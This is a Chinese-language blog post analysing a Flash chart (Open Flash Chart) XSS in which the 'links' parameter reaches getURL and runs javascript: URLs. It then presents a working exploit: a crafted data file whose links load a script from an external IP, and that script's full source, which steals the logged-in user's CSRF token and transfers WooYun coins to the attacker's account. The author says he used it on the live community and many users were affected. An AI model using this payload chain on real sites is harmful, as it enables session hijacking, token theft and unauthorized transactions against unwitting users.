menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 007-papers chevron_right 042-闲扯下午引爆乌云社区“盗窃”乌云币事件.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    042-闲扯下午引爆乌云社区“盗窃”乌云币事件.md
    5.88 KB / 2021-07-17 00:01:34
        # 闲扯下午引爆乌云社区“盗窃”乌云币事件
    
    起因
    --
    
    * * *
    
    请各位看官看这里:[http://zone.wooyun.org/content/4997](http://zone.wooyun.org/content/4997)
    
    斗胆分析下漏洞细节,在[http://www.showmycode.com/](http://www.showmycode.com/)上面反编译该 flash 代码。
    
    搜索,配置文件是通过 data 参数传入进去的,搜索 _root.data,找到如下代码:
    
    ```
    var lv = new LoadVars();
    lv.onLoad = LoadVarsOnLoad;
    lv.make_chart = make_chart;
    lv.make_pie = make_pie;
    if (_root.data == undefined) {
        if (_root.variables == undefined) {
            _root.data = "C:\\Users\\John\\Documents\\flash\\svn\\data-files\\data-47.txt";
            lv.load(_root.data);
        } else {
            _root.LoadVarsOnLoad = LoadVarsOnLoad;
            _root.LoadVarsOnLoad(true);
        }
    } else {
        lv.load(_root.data);
    }
    
    ```
    
    通过 LoadVars 载入的,LoadVars 载入的数据是以 & 符号分割的,载入完成调用 LoadVarsOnLoad 函数。跟进去看代码
    
    ```
    function LoadVarsOnLoad(success) {
        if (!success) {
            _root.loading.done();
            _root.oops(_root.data);
            return(undefined);
        }
        if (_root.oops != undefined) {
            removeMovieClip("oops");
        }
        for (i in _root) {
            if (typeof(_root[i]) == "movieclip") {
                removeMovieClip(_root[i]);
            }
            delete i;
        }
        _root.css = new Css("margin-top: 30;margin-right: 40;");
        NumberFormat.getInstance(this);
        NumberFormat.getInstanceY2(this);
        _root._background = new Background(this);
        if (this.pie != undefined) {
            this.make_pie();
        } else {
            this.make_chart();
        }
        if (this.tool_tip != undefined) {
            _root.tool_tip_wrapper = this.tool_tip.replace("#comma#", ",");
        }
        _root.loading.done();
        _root.move();
    }
    
    ```
    
    看下面,如果外部数据中有 pie ,就调用 this.make_pie()。
    
    ```
    if (this.pie != undefined) {
            this.make_pie();
    }
    
    ```
    
    搜索 make_pie 这个函数看代码,有如下,调用了 new PieStyle(this, "pie");
    
    ```
    function make_pie() {
        _root._pie = new PieStyle(this, "pie");
        _root._title = new Title(this);
    }
    
    ```
    
    继续跟进去,在这个类中的初始化函数最开始有 links = lv.links.split(","); ,lv.links 从外部传入通过 split 后放入 links ,最后调用了 set_values(_local6),继续看 set_values 函数,有如下代码:
    
    ```
    function set_values(v) {
        super.set_values(v);
        pie_mcs = new Array(values.length);
        var _local4 = 0;
        while (_local4 < values.length) {
            var _local5 = _root.createEmptyMovieClip((name + "_") + _local4, _root.getNextHighestDepth());
            _local5.onRollOver = function () {
                ChartUtil.FadeIn(this, true);
            };
            _local5.onRollOut = function () {
                ChartUtil.FadeOut(this);
            };
            if (links.length > _local4) {
                _local5._ofc_link = links[_local4];
                _local5.onRelease = function () {
                    trace(this._ofc_link);
                    getURL (this._ofc_link);
                };
            }
            var _local6 = {x_label:labels[_local4], value:values[_local4], key:"??"};
            _local5.tooltip = _local6;
            pie_mcs[_local4] = _local5;
            _local4++;
        }
        valPos();
    }
    
    ```
    
    这个函数是关键,遍历 links,然后放入 getURL 中,因为 getURL 这里是可以执行 js 代码的。
    
    利用
    --
    
    * * *
    
    既然可以 xss,那就可以绕过 token 机制,对 wooyun 的业务进行操作了,先来看下如何构造远程数据。看如下代码:
    
    ```
    &title=腾讯高危漏洞一览表(点击类别可以查看详情),{font-size:18px; color: #d01f3c}&
    &x_axis_steps=1&
    &y_ticks=50,50&
    &line=2,#87421F&
    &y_min=0&
    &y_max=20&
    &pie=60,#E4F0DB,{display:none;},1,,1&
    &values=50,50&
    &pie_labels=远程命令执行,腾讯客户端溢出&
    &colours=#d01f3c,#356aa0&
    &links=javascript:window.s=document.createElement('script');window.s.src='http://42.96.150.181/data.js';document.body.appendChild(window.s);,javascript:window.s=document.createElement('script');window.s.src='http://42.96.150.181/data.js';document.body.appendChild(window.s);&
    &tool_tip=类别%3A+%23x_label%23%3Cbr%3E比例%3A+%23val%23%25&
    
    ```
    
    起了个很响亮的标题明“腾讯高危漏洞一览表(点击类别可以查看详情)”,让看到的很很有欲望点击中间的圆圈圈有木有,链接写成
    
    ```
    javascript:window.s=document.createElement('script');window.s.src='http://42.96.150.181/data.js';document.body.appendChild(window.s);
    
    ```
    
    加载我们的 js 文件。
    
    js 文件的代码如下:
    
    ```
    /*
     * ajax
     */
    ajax = function(url, params, callback) {
        (params instanceof Function) && (callback = params, params = void(0));
        var XHR = (window.XDomainRequest) || window.XMLHttpRequest || (function() {
            return new ActiveXObject('MSXML2.XMLHTTP')
        });
        var xhr = new XHR();
        xhr.open(params ? 'post' : 'get', url);
        xhr.withCredentials = true;
        try {
            params && xhr.setRequestHeader('content-type', 'application/x-www-form-urlencoded');
        } catch (e) {}
        callback && (xhr.onreadystatechange = function() {
            (this.readyState == 4 && ((this.status >= 200 && this.status <= 300) || this.status == 304)) && callback.apply(
    this, arguments);
        });
        xhr.send(params);
    };
    
    ajax("http://www.wooyun.org/user.php?action=update", function(){
        var token = this.responseText.match(/token" value=\"(.+?)\"/)[1]
        ajax("http://www.wooyun.org/user.php?action=coin&do=action_submit", "token=" + token + "&to_whitehat=xsser&to_coin=
    1");
    })
    
    ```
    
    借用 sogili xss.js 中的 ajax 代码,先获取当前用户的 token,然后再进行转账操作。
    
    效果
    --
    
    * * *
    
    来找个实战的地方,发到 wooyun,见这里:[http://zone.wooyun.org/content/5548](http://zone.wooyun.org/content/5548)
    
    后续
    --
    
    * * *
    
    其实我没想到这么多人中招的,本来抱着娱乐的目的玩玩的,看来好多人情绪很高涨,在这里先对各位抱个歉。
    
    links
    file_download